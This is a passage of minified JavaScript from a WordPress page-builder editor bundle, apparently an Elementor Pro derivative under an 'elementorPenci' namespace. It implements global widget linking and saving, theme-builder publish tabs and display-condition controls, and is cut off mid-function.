t.templateID?n(376):e})}},{key:"registerTemplateType",value:function(){elementor.templates.registerTemplateType("widget",{showInLibrary:!1,saveDialog:{title:elementorPenci.translate("global_widget_save_title"),description:elementorPenci.translate("global_widget_save_description")},prepareSavedData:function(e){return e.widgetType=e.content[0].widgetType,e},ajaxParams:{success:this.onWidgetTemplateSaved.bind(this)}})}},{key:"addSavedWidgetsToPanel",value:function(){var e=this;this.panelWidgets=new Backbone.Collection,_.each(elementorPenci.config.widget_templates,function(t,n){e.addGlobalWidget(n,t)}),elementor.hooks.addFilter("panel/elements/regionViews",function(t){return _.extend(t.global,{view:n(377),options:{collection:e.panelWidgets}}),t})}},{key:"addPanelPage",value:function(){elementor.getPanelView().addPage("globalWidget",{view:n(379)})}},{key:"getGlobalModels",value:function(e){return e?this.globalModels[e]:this.globalModels}},{key:"saveTemplates",value:function(){if((0,i.default)(this.globalModels).length){var e=[];_.each(this.globalModels,function(t,n){if("loaded"===t.get("settingsLoadedStatus")){var o={content:(0,r.default)([t.toJSON({remove:["default"]})]),source:"local",type:"widget",id:n};e.push(o)}}),e.length&&elementorCommon.ajax.addRequest("update_templates",{data:{templates:e},success:function(){this.templatesAreSaved=!0}})}}},{key:"requestGlobalModelSettings",value:function(e,t,n){elementor.templates.requestTemplateContent("local",e.get("id"),{success:function(o){e.set("settingsLoadedStatus","loaded").trigger("settings:loaded");var r=o.content[0].settings,i=e.get("settings");i.handleRepeaterData(r),i.set(r),n&&(delete n.view.container,n.view.getContainer()),t&&t(e)}})}},{key:"setWidgetContextMenuSaveAction",value:function(){elementor.hooks.addFilter("elements/widget/contextMenuGroups",function(e,t){var n=_.findWhere(e,{name:"save"});if(!n)return e;var o=_.findWhere(n.actions,{name:"save"});return o.callback=t.save.bind(t),delete o.shortcut,e})}},{key:"onElementorInit",value:function(){var e=this;this.registerTemplateType(),this.setWidgetContextMenuSaveAction(),elementor.on("panel:init",function(){e.addSavedWidgetsToPanel(),e.setWidgetType()})}},{key:"onElementorPreviewLoaded",value:function(e){e&&(this.addPanelPage(),$e.routes.register("panel/editor","global",function(e){elementor.getPanelView().setPage("globalWidget","Global Editing",{editedView:e.view})}))}},{key:"onElementorInitComponents",value:function(){$e.components.register(new c.default({manager:this}))}},{key:"onWidgetTemplateSaved",value:function(e){elementor.templates.layout.hideModal();var t=$e.components.get("document").utils.findContainerById(elementor.templates.layout.modalContent.currentView.model.id);$e.run("document/global/link",{container:t,data:e})}}]),o}(elementorModules.editor.utils.Module);t.default=d},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(3)),a=r(n(6)),u=r(n(4)),l=r(n(5)),s=o(n(369)),c=o(n(372)),d=function(e){(0,u.default)(n,e);var t=(0,l.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"getNamespace",value:function(){return"document/global"}},{key:"defaultCommands",value:function(){return this.importCommands(s)}},{key:"defaultHooks",value:function(){return this.importHooks(c)}}]),n}($e.modules.ComponentBase);t.default=d},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"Link",{enumerable:!0,get:function(){return r.Link}}),o(t,"Unlink",{enumerable:!0,get:function(){return i.Unlink}});var r=n(370),i=n(371)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Link=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"validateArgs",value:function(e){this.requireContainer(e),this.requireArgumentConstructor("data",Object,e);var t=e.containers;(void 0===t?[e.container]:t).forEach(function(e){if("global"===e.model.get("widgetType"))throw Error("Invalid container, id: '".concat(e.id,"' is already global."))})}},{key:"getHistory",value:function(e){var t=e.data;return{title:elementor.widgetsCache[t.widgetType].title,subTitle:t.title,type:elementorPenci.translate("linked_to_global")}}},{key:"apply",value:function(e){var t=e.data,n=e.containers;(void 0===n?[e.container]:n).forEach(function(e){var n=e.model,o=n.collection.indexOf(n);t.elType=t.type,t.settings=n.get("settings").attributes;var r=elementorPenci.modules.globalWidget.addGlobalWidget(t.template_id,t).attributes;$e.run("document/elements/create",{container:e.parent,model:{id:elementor.helpers.getUniqueID(),elType:r.type,templateID:r.template_id,widgetType:"global"},options:{at:o}}),$e.run("document/elements/delete",{container:e})}),$e.route("panel/elements/global")}}]),n}($e.modules.document.CommandHistory);t.Link=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.Unlink=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"validateArgs",value:function(e){this.requireContainer(e)}},{key:"getHistory",value:function(e){var t=e.containers,n=void 0===t?[e.container]:t;return{title:elementor.helpers.getModelLabel(n[0].model),type:elementorPenci.translate("unlink_widget")}}},{key:"apply",value:function(e){var t=e.containers;(void 0===t?[e.container]:t).forEach(function(e){var t=elementorPenci.modules.globalWidget.getGlobalModels(e.model.get("templateID"));$e.run("document/elements/create",{container:e.parent,model:{id:elementor.helpers.getUniqueID(),elType:"widget",widgetType:t.get("widgetType"),settings:elementorCommon.helpers.cloneObject(t.get("settings").attributes),defaultEditSettings:elementorCommon.helpers.cloneObject(t.get("editSettings").attributes)},options:{at:e.model.collection.indexOf(e.model),edit:!0}}),$e.run("document/elements/delete",{container:e})})}}]),n}($e.modules.document.CommandHistory);t.Unlink=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(373);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})})},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"GlobalWidgetSave",{enumerable:!0,get:function(){return r.GlobalWidgetSave}});var r=n(374)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.GlobalWidgetSave=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-global-widget-save"}},{key:"getConditions",value:function(e){var t=e.document;return(void 0===t?elementor.documents.getCurrent():t).config.panel.has_elements&&e.status&&-1!==["private","publish"].indexOf(e.status)}},{key:"apply",value:function(){elementorPenci.modules.globalWidget.saveTemplates()}}]),n}($e.modules.hookData.After);t.GlobalWidgetSave=l;var s=l;t.default=s},function(e,t,n){"use strict";var o,r=elementor.modules.elements.views.Widget;o=r.extend({globalModel:null,className:function(){return r.prototype.className.apply(this,arguments)+" elementor-global-widget elementor-global-"+this.model.get("templateID")},initialize:function(){var e=this,t=e.model.get("previewSettings"),n=e.getGlobalModel();if(t){n.set("settingsLoadedStatus","loaded").trigger("settings:loaded");var o=n.get("settings");o.handleRepeaterData(t),o.set(t,{silent:!0})}else{var i=n.get("settingsLoadedStatus");i||(n.set("settingsLoadedStatus","pending"),elementorPenci.modules.globalWidget.requestGlobalModelSettings(n,null,this.getContainer())),"loaded"!==i&&e.$el.addClass("elementor-loading"),n.on("settings:loaded",function(){e.$el.removeClass("elementor-loading"),e.render()})}r.prototype.initialize.apply(e,arguments)},getGlobalModel:function(){return this.globalModel||(this.globalModel=elementorPenci.modules.globalWidget.getGlobalModels(this.model.get("templateID"))),this.globalModel},getEditModel:function(){return this.getGlobalModel()},getHTMLContent:function(e){return"loaded"===this.getGlobalModel().get("settingsLoadedStatus")?r.prototype.getHTMLContent.call(this,e):""},serializeModel:function(){var e=this.getGlobalModel();return e.toJSON.apply(e,_.rest(arguments))},unlink:function(){$e.run("document/global/unlink",{container:this.getContainer()})},onEditRequest:function(){$e.route("panel/editor/global",{view:this})}}),e.exports=o},function(e,t,n){"use strict";n(198),n(101),e.exports=elementor.modules.elements.models.Element.extend({initialize:function(){this.set({widgetType:"global"},{silent:!0}),elementor.modules.elements.models.Element.prototype.initialize.apply(this,arguments),elementorFrontend.config.elements.data[this.cid].on("change",this.onSettingsChange.bind(this))},initSettings:function(){var e=this.getGlobalModel(),t=e.get("settings");this.set("settings",t),elementorFrontend.config.elements.data[this.cid]=t,elementorFrontend.config.elements.editSettings[this.cid]=e.get("editSettings")},initEditSettings:function(){var e=new Backbone.Model(this.get("defaultEditSettings"));this.set("editSettings",e),this.get("editSettings").set("editTab","global")},getGlobalModel:function(){var e=this.get("templateID");return elementorPenci.modules.globalWidget.getGlobalModels(e)},getTitle:function(){var e=this.getSetting("_title");e||(e=this.getGlobalModel().get("title"));var t=elementorPenci.translate("global");return(e=e.replace(new RegExp("\\("+t+"\\)$"),""))+" ("+t+")"},getIcon:function(){return this.getGlobalModel().getIcon()},onSettingsChange:function(e){e.changed.elements||this.set("previewSettings",e.toJSON({remove:["default"]}),{silent:!0})},onDestroy:function(){$e.routes.isPartOf("panel/editor")&&$e.route("panel/elements/categories")}})},function(e,t,n){"use strict";e.exports=elementor.modules.layouts.panel.pages.elements.views.Elements.extend({id:"elementor-global-templates",getEmptyView:function(){return this.collection.length?null:n(378)},onFilterEmpty:function(){}})},function(e,t,n){"use strict";var o=elementor.modules.layouts.panel.pages.elements.views.Global;e.exports=o.extend({template:"#tmpl-elementor-panel-global-widget-no-templates",id:"elementor-panel-global-widget-no-templates",className:"elementor-nerd-box elementor-panel-nerd-box"})},function(e,t,n){"use strict";e.exports=Marionette.ItemView.extend({id:"elementor-panel-global-widget",template:"#tmpl-elementor-panel-global-widget",ui:{editButton:"#elementor-global-widget-locked-edit .elementor-button",unlinkButton:"#elementor-global-widget-locked-unlink .elementor-button",loading:"#elementor-global-widget-loading"},events:{"click @ui.editButton":"onEditButtonClick","click @ui.unlinkButton":"onUnlinkButtonClick"},initialize:function(){this.initUnlinkDialog()},buildUnlinkDialog:function(){var e=this;return elementorCommon.dialogsManager.createWidget("confirm",{id:"elementor-global-widget-unlink-dialog",headerMessage:elementorPenci.translate("unlink_widget"),message:elementorPenci.translate("dialog_confirm_unlink"),position:{my:"center center",at:"center center"},strings:{confirm:elementorPenci.translate("unlink"),cancel:elementorPenci.translate("cancel")},onConfirm:function(){e.getOption("editedView").unlink()}})},initUnlinkDialog:function(){var e;this.getUnlinkDialog=function(){return e||(e=this.buildUnlinkDialog()),e}},editGlobalModel:function(){var e=this.getOption("editedView");$e.run("panel/editor/open",{model:e.getEditModel(),view:e})},onEditButtonClick:function(){var e=this,t=e.getOption("editedView").getEditModel();"loaded"!==t.get("settingsLoadedStatus")?(e.ui.loading.removeClass("elementor-hidden"),elementorPenci.modules.globalWidget.requestGlobalModelSettings(t,function(){e.ui.loading.addClass("elementor-hidden"),e.editGlobalModel()})):e.editGlobalModel()},onUnlinkButtonClick:function(){this.getUnlinkDialog().show()}})},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0,n(233);var r=o(n(0)),i=o(n(3)),a=o(n(6)),u=o(n(61)),l=o(n(25)),s=o(n(4)),c=o(n(5)),d=o(n(381)),f=function(e){(0,s.default)(n,e);var t=(0,c.default)(n);function n(){return(0,i.default)(this,n),t.apply(this,arguments)}return(0,a.default)(n,[{key:"__construct",value:function(){for(var e,t=arguments.length,o=new Array(t),i=0;i<t;i++)o[i]=arguments[i];(e=(0,u.default)((0,l.default)(n.prototype),"__construct",this)).call.apply(e,[this].concat(o)),(0,r.default)(elementorPenci.config,"theme_builder",{get:function(){return elementorCommon.helpers.softDeprecated("theme_builder","2.9.0","elementor.config.document.theme_builder"),elementor.config.document.theme_builder}})}},{key:"onElementorLoaded",value:function(){this.component=$e.components.register(new d.default({manager:this})),elementor.on("document:loaded",this.onDocumentLoaded.bind(this)),elementor.on("document:unload",this.onDocumentUnloaded.bind(this)),this.onApplyPreview=this.onApplyPreview.bind(this),this.onSectionPreviewSettingsActive=this.onSectionPreviewSettingsActive.bind(this)}},{key:"onDocumentLoaded",value:function(e){e.config.theme_builder&&(elementor.getPanelView().on("set:page:page_settings",this.updatePreviewIdOptions),elementor.channels.editor.on("elementorThemeBuilder:ApplyPreview",this.onApplyPreview),elementor.channels.editor.on("page_settings:preview_settings:activated",this.onSectionPreviewSettingsActive))}},{key:"onDocumentUnloaded",value:function(e){e.config.theme_builder&&(elementor.getPanelView().off("set:page:page_settings",this.updatePreviewIdOptions),elementor.channels.editor.off("elementorThemeBuilder:ApplyPreview",this.onApplyPreview),elementor.channels.editor.off("page_settings:preview_settings:activated",this.onSectionPreviewSettingsActive))}},{key:"saveAndReload",value:function(){$e.run("document/save/auto",{force:!0,onSuccess:function(){elementor.dynamicTags.cleanCache(),elementor.reloadPreview()}})}},{key:"onApplyPreview",value:function(){this.saveAndReload()}},{key:"onSectionPreviewSettingsActive",value:function(){this.updatePreviewIdOptions(!0)}},{key:"updatePreviewIdOptions",value:function(e){var t=elementor.settings.page.model.get("preview_type");if(t){t=t.split("/");var n=elementor.getPanelView().getCurrentPageView(),o=n.collection.findWhere({name:"preview_id"});if("author"===t[1]?o.set({autocomplete:{object:"author"}}):"taxonomy"===t[0]?o.set({autocomplete:{object:"tax",query:{taxonomy:t[1]}}}):"single"===t[0]?o.set({autocomplete:{object:"post",query:{post_type:t[1]}}}):o.set({autocomplete:{object:""}}),!0===e){var r=n.children.findByModel(o);r.render(),r.$el.toggle(!!o.get("autocomplete").object)}}}}]),n}(elementorModules.editor.utils.Module);t.default=f},function(e,t,n){"use strict";var o=n(148),r=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var i=r(n(48)),a=r(n(3)),u=r(n(6)),l=r(n(61)),s=r(n(25)),c=r(n(4)),d=r(n(5)),f=r(n(382)),p=r(n(383)),m=o(n(384)),v=function(e){(0,c.default)(n,e);var t=(0,d.default)(n);function n(){return(0,a.default)(this,n),t.apply(this,arguments)}return(0,u.default)(n,[{key:"getNamespace",value:function(){return"theme-builder-publish"}},{key:"getModalLayout",value:function(){return p.default}},{key:"defaultCommands",value:function(){var e=this;return{next:function(){var t=(0,i.default)(e.tabs)[e.currentTabIndex+1];t&&$e.route(e.getTabRoute(t))},save:function(){$e.run("document/save/default",{force:!0}),e.layout.hideModal()},"preview-settings":function(){var e=elementor.getPanelView();$e.route("panel/page-settings/settings"),e.getCurrentPageView().activateSection("preview_settings")._renderChildren()}}}},{key:"defaultHooks",value:function(){return this.importHooks(m)}},{key:"getTabsWrapperSelector",value:function(){return"#elementor-publish__tabs"}},{key:"renderTab",value:function(e){var t=this.getTabs(),n=(0,i.default)(t),o=t[e];this.currentTabIndex=n.indexOf(e);var r=!n[this.currentTabIndex+1];this.layout.modalContent.currentView.screen.show(new o.View(o.viewOptions)),this.layout.modal.getElements("next").toggle(!r),this.layout.modal.getElements("publish").toggleClass("elementor-button-success",r)}},{key:"activateTab",value:function(e){$e.routes.saveState(this.getNamespace()),(0,l.default)((0,s.default)(n.prototype),"activateTab",this).call(this,e)}},{key:"open",value:function(){return(0,l.default)((0,s.default)(n.prototype),"open",this).call(this),this.layoutContent||(this.layout.showLogo(),this.layout.modalContent.show(new f.default({component:this})),this.layoutContent=!0),!0}}]),n}($e.modules.ComponentModalBase);t.default=v},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"id",value:function(){return"elementor-publish"}},{key:"getTemplate",value:function(){return Marionette.TemplateCache.get("#tmpl-elementor-component-publish")}},{key:"regions",value:function(){return{screen:"#elementor-publish__screen"}}},{key:"templateHelpers",value:function(){return{tabs:this.getOption("component").getTabs()}}}]),n}(Marionette.LayoutView);t.default=l},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(61)),u=o(n(25)),l=o(n(4)),s=o(n(5)),c=function(e){(0,l.default)(n,e);var t=(0,s.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getModalOptions",value:function(){return{id:"elementor-publish__modal",hide:{onButtonClick:!1}}}},{key:"getLogoOptions",value:function(){return{title:elementorPenci.translate("publish_settings")}}},{key:"initModal",value:function(){(0,a.default)((0,u.default)(n.prototype),"initModal",this).call(this),this.modal.addButton({name:"publish",text:elementorPenci.translate("save_and_close"),callback:function(){return $e.run("theme-builder-publish/save")}}),this.modal.addButton({name:"next",text:elementorPenci.translate("next"),callback:function(){return $e.run("theme-builder-publish/next")}});var e=this.modal.getElements("publish");this.modal.getElements("next").addClass("elementor-button-success").add(e).addClass("elementor-button").removeClass("dialog-button")}}]),n}(elementorModules.common.views.modal.Layout);t.default=c},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i=n(385);o(i).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return i[e]}})});var a=n(392);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&r(t,e,{enumerable:!0,get:function(){return a[e]}})})},function(e,t,n){"use strict";var o=n(48),r=n(0);r(t,"__esModule",{value:!0});var i={ThemeBuilderSaveConditions:!0,ThemeBuilderShowConditions:!0,ThemeBuilderPreviewBreak:!0};r(t,"ThemeBuilderSaveConditions",{enumerable:!0,get:function(){return u.ThemeBuilderSaveConditions}}),r(t,"ThemeBuilderShowConditions",{enumerable:!0,get:function(){return l.ThemeBuilderShowConditions}}),r(t,"ThemeBuilderPreviewBreak",{enumerable:!0,get:function(){return s.ThemeBuilderPreviewBreak}});var a=n(386);o(a).forEach(function(e){"default"!==e&&"__esModule"!==e&&(Object.prototype.hasOwnProperty.call(i,e)||r(t,e,{enumerable:!0,get:function(){return a[e]}}))});var u=n(389),l=n(390),s=n(391)},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"ThemeBuilderSaveAndReload",{enumerable:!0,get:function(){return r.ThemeBuilderSaveAndReload}}),o(t,"ThemeBuilderUpdatePreviewOptions",{enumerable:!0,get:function(){return i.ThemeBuilderUpdatePreviewOptions}});var r=n(387),i=n(388)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderSaveAndReload=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-save-and-reload"}},{key:"getContainerType",value:function(){return"document"}},{key:"getConditions",value:function(e){return e.settings&&e.settings.page_template}},{key:"apply",value:function(){$e.run("document/save/auto",{force:!0,onSuccess:function(){elementor.reloadPreview(),elementor.once("preview:loaded",function(){$e.route("panel/page-settings/settings")})}})}}]),n}($e.modules.hookData.After);t.ThemeBuilderSaveAndReload=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderUpdatePreviewOptions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/elements/settings"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-update-preview-options"}},{key:"getContainerType",value:function(){return"document"}},{key:"getConditions",value:function(e){return e.settings&&e.settings.preview_type}},{key:"apply",value:function(e){var t=e.containers,n=void 0===t?[e.container]:t,o=elementorPenci.modules.themeBuilder;$e.run("document/elements/settings",{containers:n,settings:{preview_id:"",preview_search_term:""}}),$e.routes.is("panel/page-settings/settings")&&o.updatePreviewIdOptions(!0)}}]),n}($e.modules.hookData.After);t.ThemeBuilderUpdatePreviewOptions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderSaveConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/save"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-save-conditions"}},{key:"getConditions",value:function(){return!!elementor.config.document.theme_builder}},{key:"apply",value:function(){var e=elementorPenci.modules.themeBuilder.conditionsModel;elementorPenci.ajax.addRequest("theme_builder_save_conditions",{data:e.toJSON({remove:["default"]}),success:function(){elementor.config.document.theme_builder.settings.conditions=e.get("conditions")}})}}]),n}($e.modules.hookData.After);t.ThemeBuilderSaveConditions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderShowConditions=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"document/save/default"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-show-conditions"}},{key:"getConditions",value:function(e){var t=e.force;if(void 0!==t&&t)return!1;var n=!1,o=elementor.config.document.theme_builder;if(o){var r=o.settings.conditions.length,i=o.settings.location,a="draft"===elementor.settings.page.model.get("post_status");!i||r&&!a||(n=!0)}return n}},{key:"apply",value:function(){return $e.route("theme-builder-publish/conditions"),!1}}]),n}($e.modules.hookData.Dependency);t.ThemeBuilderShowConditions=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderPreviewBreak=void 0;var r=o(n(3)),i=o(n(6)),a=o(n(4)),u=o(n(5)),l=function(e){(0,a.default)(n,e);var t=(0,u.default)(n);function n(){return(0,r.default)(this,n),t.apply(this,arguments)}return(0,i.default)(n,[{key:"getCommand",value:function(){return"editor/documents/preview"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-preview-break"}},{key:"getConditions",value:function(e){return!e.force&&!!elementor.documents.get(e.id).config.theme_builder}},{key:"apply",value:function(){return!1}}]),n}($e.modules.hookData.Dependency);t.ThemeBuilderPreviewBreak=l;var s=l;t.default=s},function(e,t,n){"use strict";var o=n(0);o(t,"__esModule",{value:!0}),o(t,"ThemeBuilderAddEditorUI",{enumerable:!0,get:function(){return r.ThemeBuilderAddEditorUI}}),o(t,"ThemeBuilderRemoveEditorUI",{enumerable:!0,get:function(){return i.ThemeBuilderRemoveEditorUI}}),o(t,"ThemeBuilderToggleMenuConditions",{enumerable:!0,get:function(){return a.ThemeBuilderToggleMenuConditions}}),o(t,"ThemeBuilderFooterSaverAfterSave",{enumerable:!0,get:function(){return u.ThemeBuilderFooterSaverAfterSave}});var r=n(393),i=n(398),a=n(399),u=n(400)},function(e,t,n){"use strict";var o=n(1);n(0)(t,"__esModule",{value:!0}),t.default=t.ThemeBuilderAddEditorUI=void 0;var r=o(n(48)),i=o(n(3)),a=o(n(6)),u=o(n(4)),l=o(n(5)),s=o(n(394)),c=function(e){(0,u.default)(o,e);var t=(0,l.default)(o);function o(){return(0,i.default)(this,o),t.apply(this,arguments)}return(0,a.default)(o,[{key:"getCommand",value:function(){return"editor/documents/open"}},{key:"getId",value:function(){return"elementor-pro-theme-builder-add-editor-ui"}},{key:"getConditions",value:function(e){return elementor.documents.get(e.id).config.theme_builder}},{key:"apply",value:function(){elementor.panel?this.addUI():elementor.once("preview:loaded",this.addUI.bind(this))}},{key:"addUI",value:function(){this.addRepeaterControlView(),this.addPanelFooterSubmenuItems(),this.addPublishTabs()}},{key:"addRepeaterControlView",value:function(){elementor.addControlView("Conditions_repeater",n(396))}},{key:"addPublishTabs",value:function(){var e=$e.components.get("theme-builder-publish"),t=elementor.config.document.theme_builder,n=t.settings;e.manager.conditionsModel=new elementorModules.editor.elements.models.BaseSettings(n,{controls:t.template_conditions.controls}),e.addTab("conditions",{title:elementorPenci.translate("conditions"),View:s.default,viewOptions:{model:e.manager.conditionsModel,controls:e.manager.conditionsModel.controls},name:"conditions",description:elementorPenci.translate("conditions_publish_screen_description"),image:elementorPenci.config.urls.modules+"theme-builder/assets/images/conditions-tab.svg"})}},{key:"addPanelFooterSubmenuItems",value:function(){var e=elementor.getPanelView().footer.currentView,t=e._behaviors[(0,r.default)(e.behaviors()).indexOf("saver")];e.ui.menuConditions=e.addSubMenuItem("saver-options",{before:"save-template",name:"conditions",icon:"eicon-flow",title:elementorPenci.translate("display_conditions"),callback:function(){return $e.route("theme-builder-publish/conditions")}}),e.ui.menuConditions.toggle(!!elementor.config.document.theme_builder.settings.location),t.ui.buttonPreview.tipsy("disable").html(jQuery("#tmpl-elementor-theme-builder-button-preview").html()).addClass("elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state")}}]),o}($e.modules.hookUI.After);t.ThemeBuilderAddEditorUI=c;var d=c;t.default=d},function(e,t,n){"use strict";var o=n(395);e.exports=o.extend({id:"elementor-theme-builder-conditions-view",template:"#tmpl-elementor-theme-builder-conditions-view",childViewContainer:"#elementor-theme-builder-conditions-controls",childViewOptions:function(){return{elementSettingsModel:this.model}}})},function(e,t,n){"use strict";n(276),n(234),n(111),e.exports=elementorModules.editor.views.ControlsStack.extend({activeTab:"content",activeSection:"settings",initialize:function(){this.collection=new Backbone.Collection(_.values(this.options.controls))},filter:function(e){if("section"===e.get("type"))return!0;var t=e.get("section");return!t||t===this.activeSection},childViewOptions:function(){return{elementSettingsModel:this.model}}})},function(e,t,n){"use strict";var o=n(1)(n(397));e.exports=elementor.modules.controls.Repeater.extend({childView:o.default,updateActiveRow:function(){},initialize:function(){elementor.modules.controls.Repeater.prototype.initialize.apply(this,arguments),this.config=elementor.config.document.theme_builder,this.updateConditionsOptions(this.config.settings.template_type)},updateConditionsOptions:function(e){var t=this,n=t.config.types[e].condition_type,o={};_([n]).each(function(e,n){var r=t.config.conditions[e],i={label:r.label,options:{}};i.options[e]=r.all_label,_(r.sub_conditions).each(function(e){i.options[e]=t.config.conditions[e].label}),o[n]=i});var r=this.model.get("fields");r[1].default=n,"general"===n?r[1].groups=o:r[2].groups=o},onRender:function(){this.ui.btnAddRow.text(elementorPenci.translate("add_condition"))}})},function(e,t,n){"use strict";n(110),e.exports=elementor.modules.controls.RepeaterRow.extend({template:"#tmpl-elementor-theme-builder-conditions-repeater-row",childViewContainer:".elementor-theme-builder-conditions-repeater-row-controls",conflictCheckedOnFirstRender:!1,id:function(){return"elementor-condition-id-"+this.model.get("_id")},onBeforeRender:function(){var e=this.collection.findWhere({name:"sub_name"}),t=this.collection.findWhere({name:"sub_id"}),n=this.config.conditions[this.model.attributes.sub_name];e.attributes.groups=this.getOptions(),n&&n.controls&&_(n.controls).each(function(e){t.set(e),t.set("name","sub_id")})},initialize:function(){elementor.modules.controls.RepeaterRow.prototype.initialize.apply(this,arguments),this.config=elementor.config.document.theme_builder},updateOptions:function(){(this.model.changed.name&&this.model.set({sub_name:"",sub_id:""}),this.model.changed.name||this.model.changed.sub_name)&&(this.model.set("sub_id","",{silent:!0}),this.collection.findWhere({name:"sub_id"}).set({type:"select",options:{"":"All"}}),this.render());this.model.changed.type&&this.setTypeAttribute()},getOptions:function(){var e=this,t=e.config.conditions[this.model.get("name")];if(t){var n={"":t.all_label};return _(t.sub_conditions).each(function(t,o){var r,i=e.config.conditions[t];i&&(i.sub_conditions.length?((r={label:i.label,options:{}}).options[t]=i.all_label,_(i.sub_conditions).each(function(t){r.options[t]=e.config.conditions[t].label}),n["key"+o]=r):n[t]=i.label)}),n}},setTypeAttribute:function(){var e=this.children.findByModel(this.collection.findWhere({name:"type"}));e.$el.attr("data-elementor-condition-type",e.getControlValue())},checkConflicts:function(){var e=this.model.get("_id"),t="elementor-condition-id-"+e,n="elementor-conditions-conflict-message-"+e,o=jQuery("#"+n);jQuery("#"+t).removeClass("elementor-error"),o.remove(),elementorPenci.ajax.addRequest("theme_builder_conditions_check_conflicts",{unique_id:t,data:{condition:this.model.toJSON()},success:function(e){_.isEmpty(e)||jQuery("#"+t).addClass("elementor-error").after('<div id="'+n+'" class="elementor-conditions-conflict-message">'+e+"</div>")}})},onRender:function(){var 